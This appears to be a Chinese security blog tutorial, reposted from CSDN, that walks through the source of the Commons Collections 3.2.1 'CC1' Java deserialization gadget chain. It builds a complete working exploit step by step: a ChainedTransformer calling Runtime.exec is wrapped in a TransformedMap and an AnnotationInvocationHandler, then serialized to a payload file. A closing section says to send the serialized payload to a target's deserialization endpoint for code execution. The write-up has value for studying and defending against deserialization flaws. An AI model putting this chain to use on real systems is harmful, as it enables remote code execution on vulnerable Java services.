CC1利用链EXP编写之源码分析

​ 学习这篇文章需要有一定的Java面向对象基础,还有反射相关的知识,本篇文章将会以源码的形式手把手带你分析CC1利用链的所有流程,复现环境存放在百度网盘,在本文中的环境准备模块已经提供下载链接。

​ 在这里,你将会在源码的角度深入理解CC1利用链与Java的序列化与反序列化,学习到EXP编写思路。

CC1漏洞影响范围

JDk <= jdk8u65

commons-collections <= 3.2.1

环境准备

本教程环境:jdk1.7.0_75,commons-collections 版本为 3.2.1,maven(不做版本要求),开发工具IDEA(不做版本要求)

因为CC1链中需要用到 sun包下的AnnotationInvocationHandler类,然而官网下载的jdk7版本sun包下的源码为class文件,需要准备源码包,我已经提前下载好了源码包,并且放在了jdk1.7.0_75中,可以从这里下载然后按照下图所示配置直接使用:

链接:https://pan.baidu.com/s/1wQjonrox8m6YroB8G24UYA?pwd=2mnm

打开Project Structure可以进入以下界面

image-20230813113113721

源码分析

CC有个核心接口Transformer,他具有许多实现类,经过实现类的研究观察可以发现以下一些可以利用的类

InvokerTransformer

发现核心利用类:InvokerTransformer.java,这个类实现了Serializable接口,可以序列化,并且里面的构造方法和transform()方法的组合直接能实现反射调用任意方法,本身就是一个危险的类。

InvokerTransformer.java

image-20230813121840919

分析:因为在这个类中,构造方法可以初始化方法名,参数类型和参数,并且transform()方法可以传入任意类型的对象,所以就意味着可以通过反射调用任意对象的任意方法。因此可以借助这个类的构造器与transform()方法来触发任意代码执行:

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-13 12:23
 **/
public class CC1Exp {
    
    
    public static void main(String[] args) {
    
    
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
    
    String.class}, new String[]{
    
    "calc"});
        invokerTransformer.transform(r);
    }
}

通过上面的代码,我们可以触发计算器,因为调用了transform()方法,但是程序中是不会自动调用的,所以我们需要往上面找,看看其他地方是否帮我们调用了transform()方法,然后利用Java的重写机制调用InvokerTransformer的transform()方法。

TransformedMap

查找过程:

1.选中transform()方法,右击选择Find Usages

image-20230813123257930

可以看到:

image-20230813123429231

如果看到的数目比较少,或者很杂乱,可以按照我的设置方法设置查找规则:

image-20230813130921368

经过查找,发现了TransformedMap类中有个地方调用了transform()方法,并且这个类实现了Serializable接口,也是可以序列化的,并且继承了AbstractInputCheckedMapDecorator类。

image-20230813123053519

TransformedMap中的checkSetValue()方法里面调用了transform()方法,并且可以传入任意类型的对象。也可以发现checkSetValue()方法被protected修饰,被protected权限修饰符所修饰的方法只能在同一个包访问,或者在满足继承关系的子类中访问。

image-20230813123113349

在方法中使用了变量valueTransformer,所以需要找到这个类的构造方法:

image-20230813124102538

可以发现构造方法也是使用protected修饰的,所以这个构造方法可能在这个类里面调用了,因此我们可以再找找看,果然发现这个类中还有个静态方法decorate(),里面帮我们调用了构造方法,从而完成了valueTransformer的初始化,并且第2个参数和第3个参数的类型都是Transformer

image-20230813124122860

看到这,我们可以发现,前面找到的核心利用类InvokerTransformer也是属于Transformer类型的,所以我们可以invokerTransformer当做参数传入这个方法中,得到TransformedMap对象之后调用里面的checkSetValue()方法即可完成利用

改造前面的Exp:

public class CC1Exp {
    
    
    public static void main(String[] args) throws Exception{
    
    
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
    
    String.class}, new String[]{
    
    "calc"});
//        invokerTransformer.transform(r);
        Map map = new HashMap();
        TransformedMap transformedMap =(TransformedMap) TransformedMap.decorate(map, null, invokerTransformer);
        Class cl = TransformedMap.class;
        Method checkSetValue = cl.getDeclaredMethod("checkSetValue", Object.class);
        checkSetValue.setAccessible(true);
        checkSetValue.invoke(transformedMap,r);
    }
}

和前面分析的transform()方法一样,checkSetValue()方法也是不能被程序直接调用了,所以我们需要往上查找,看看谁能帮我们调用checkSetValue()方法,然后依旧利用Java的重写机制,帮我们自动调用TransformedMap的checkSetValue()方法。

AbstractInputCheckedMapDecorator

经过查找,可以发现AbstractInputCheckedMapDecorator类的setValue()方法中调用了checkSetValue()方法,并且setValue()方法可以传入任意参数类型。

image-20230813130956756

当然我们也不能让程序直接帮我们调用这个setValue()方法,所以我们依旧尝试往上面找,看看有没有其他的类帮我们调用setValue()方法,看到这里可能会想,何时是个头啊,每次都要往上面查找帮我们调用方法的类,好像大部分方法程序都不会自动帮我们调用,但是别忘记了Java反序列化的readObject()方法,在反序列化的时候,程序就会自动调用readObject()方法了,所以如果往上面查找方法的时候,发现了readObject()方法里面有我们要利用的方法,我们就达到目的了。

AnnotationInvocationHandler

经过再次查找,我们可以看到AnnotationInvocationHandler类中的readObject()方法里面帮我们调用了setValue()方法,不过这里要注意的是,如果没有使用我提供的jdk,将无法找到源码包,这一步通过Find Usages可能是找不到的,因为这个查找方式只能查找源码,也就是.java文件。

image-20230813131901103

我们接下来仔细看看这个readObject()方法:

image-20230813134257940

经过分析可知,在readObject()方法中,会对memberValues进行迭代遍历,在循环里面,需要获取每个map的key值,并且通过key值来查找注解对应属性名的Class对象,如果找到了注解对应属性名的Class对象,就会获取每个map的value值,然后通过isInstance将注解属性的类对象与value值进行比较,判断他们之间是否有关系,如果没关系就会进入里面的if逻辑。

所以我们想要在反序列化的时候进入if逻辑,最终调用setValue(),我们就需要构造条件,我们先找到全局变量memberValues是如何初始化的,看到AnnotationInvocationHandler的构造方法:

image-20230813134537788

可以发现有两个参数,其中memberValues是Map类型,所以我们可以在里面传入我们之前构造的TransformedMap对象,因为这个对象最终是实现了Map的,本质类型就是Map(前面我们发现TransformedMap继承了AbstractInputCheckedMapDecorator,所以在memberValues调用setValue()的时候如果发现在本对象中没有setValue()方法,就会找到父类的setValue()方法,进而完成利用)。然后type参数的类型是Class<? extends Annotation>,因此我们在给AnnotationInvocationHandler对象初始化的时候需要传入一个注解的类对象。因此我们可以进行如下构造:

  1. 寻找具有属性的注解:使用Retention注解,我们可以看一下这个注解的内容:

    image-20230813152645969

  2. 找到Retention注解之后,发现里面有个value属性,因此可以给map构造key值为value的键值对

     Map map = new HashMap();
     map.put("value","value");
    
  3. 然后把构造好的map加入TransformedMap中

     Map map = new HashMap();
     map.put("value","value");
     TransformedMap transformedMap =(TransformedMap)TransformedMap.decorate(map, null,chainedTransformer);
    

可以发现这个构造方法并不是public修饰的的,所以我们需要通过反射获取实例,然后对他进行初始化:

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);

经过对AnnotationInvocationHandler对象的构造,CC1利用链就已经完成了一大半,我们再回顾一下第一次调出计算器的代码:

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-13 12:23
 **/
public class CC1Exp {
    
    
    public static void main(String[] args) {
    
    
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{
    
    String.class}, new String[]{
    
    "calc"});
        invokerTransformer.transform(r);
    }
}

分析:我们可以看到,核心类利用类是InvokerTransformer,我们要想利用AnnotationInvocationHandler对象的反序列化来执行InvokerTransformer的transform()方法,就要确保我们的对象都是可以序列化的,然而不巧的是,Runtime这个类并没有实现Serializable接口,因此无法序列化,所以为了让他序列化,就需要利用Class对象,Class对象是实现了Serializable接口的,我们先使用普通的反射来实现我们最终的恶意代码(调出计算器):

public class CC1Exp {
    
    
    public static void main(String[] args) throws Exception{
    
    
        Class cl = Runtime.class;
        Method getRuntime = cl.getMethod("getRuntime");
        Runtime runtime = (Runtime)getRuntime.invoke(null);
        Method exec = cl.getMethod("exec", String.class);
        exec.invoke(runtime,"calc");
    }

}

然后利用InvokerTransformer类进行改造:

public class CC1Exp {
    
    
    public static void main(String[] args) throws Exception{
    
    
         Method getRuntime1 = (Method)new InvokerTransformer("getMethod", new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}).transform(Runtime.class);
        Runtime runtime1 = (Runtime)new InvokerTransformer("invoke", new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}).transform(getRuntime1);
        new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"}).transform(runtime1);
    }

}

执行流程分析:

经过改造之后,可以成功调出计算器。接下来我们可以分析一下这个代码,这里一共有三步,首先是使用Runtime.class对象作为参数传入transform()方法,经过InvokerTransformer的反射调用获得getRuntime()的Method对象,然后将Method对象作为参数传入transform()方法,经过InvokerTransformer的反射调用获得Runtime对象,然后将Runtime对象作为参数传入transform()方法,经过InvokerTransformer的反射调用执行Runtime对象的exec()方法,从而调出计算器。

ChainedTransformer

经过上面的流程分析,我们可以知道这个恶意代码的执行其实就是链式调用,由于我们最终要把一个Transformer对象传给TransformedMap对象,但是上面的链式调用使用了多个InvokerTransformer,是无法一起传给TransformedMap的,TransformedMap构造方法需要的参数类型是Transformer类型的,这是个接口,所以我们可以看看这个接口下面有哪些子类是否可以利用:

image-20230813160614807

根据查找之后,可以看到一个ChainedTransformer类,这个类名就类似于链式调用,于是点进去看看这个类:

image-20230813161133256

所以可以利用这个ChainedTransformer类再次对上面的恶意程序进行改造:

public class CC1Exp {
    
    
    public static void main(String[] args) throws Exception{
    
    
      Transformer[] transformers = new Transformer[]{
    
    
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}),
                new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
    }

}

这样我们就能将恶意程序整合成一个Transformer类型的chainedTransformer对象传入TransformedMap,然后把transformedMap对象交给AnnotationInvocationHandler的构造方法进行初始化,然后在AnnotationInvocationHandler对象反序列化的时候会调用readObject(),就可以完成CC1利用链。

但是在调用readObject()的时候还有一个问题,就是setValue里面的参数并不是我们想要的Transformer对象,而是一个AnnotationTypeMismatchExceptionProxy对象

image-20230813162956209

这个AnnotationTypeMismatchExceptionProxy对象最后传给了checkSetValue()方法,然后调用transform()方法进行反射调用,由于ChainedTransformer第一次反射调用的是getMethod方法,然而AnnotationTypeMismatchExceptionProxy对象并没有这个getMethod()方法,所以会报错

image-20230813165356898

ConstantTransformer

那么应该怎么办呢,巧妙的是Transformer接口还有一个巧妙的实现类:ConstantTransformer,接下来我们看看这个实现类的内容:

image-20230813170025977

这个ConstantTransformer类中的transform方法很特别,就是不管我们传入的是什么参数,都返回一个初始化之后的iConstant,相当于一个常量。所以我们如果在chainedTransformer对象中在第一个位置添加ConstantTransformer对象,然后初始化为Runtime.class,就能巧妙的解决上面的问题,即使在setValue()的方法中传入AnnotationTypeMismatchExceptionProxy对象,也不会报错,而是在链式调用中返回一个Runtime.class,进而完成CC1利用链。

因此,我们可以优化一下代码,在原来的基础上再加上new ConstantTransformer(Runtime.class)

public class CC1Exp {
    
    
    public static void main(String[] args) throws Exception{
    
    
      Transformer[] transformers = new Transformer[]{
    
    
          		new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}),
                new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);
    }

}

EXP编写

通过上面的源码分析,我们可以将恶意程序的利用链与AnnotationInvocationHandler类的反射序列化整合,完善EXP

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-13 12:23
 **/
public class CC1Exp {
    
    
    public static void main(String[] args) throws Exception{
    
    
        //构造恶意程序调用链
        Transformer[] transformers = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}),
                new InvokerTransformer("exec", new Class[]{
    
    String.class}, new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value","yuan_boss");
        TransformedMap transformedMap =(TransformedMap)TransformedMap.decorate(map, null, chainedTransformer);

        //反射构造AnnotationInvocationHandler的实例并且序列化为payload
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class, transformedMap);
        serialize(o);
        
        //反序列化payload执行恶意程序
        UnSerialize("ser.bin");
    }
    public static void serialize(Object o) throws Exception{
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }
    public static void UnSerialize(String filename) throws Exception{
    
    
        ObjectInputStream oos = new ObjectInputStream(new FileInputStream(filename));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

实战利用思路

找到需要反序列化的功能点,将我们序列化后的payload发送到功能点进行反序列化,然后就能形成CC1利用链,从而完成恶意代码执行。

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132274219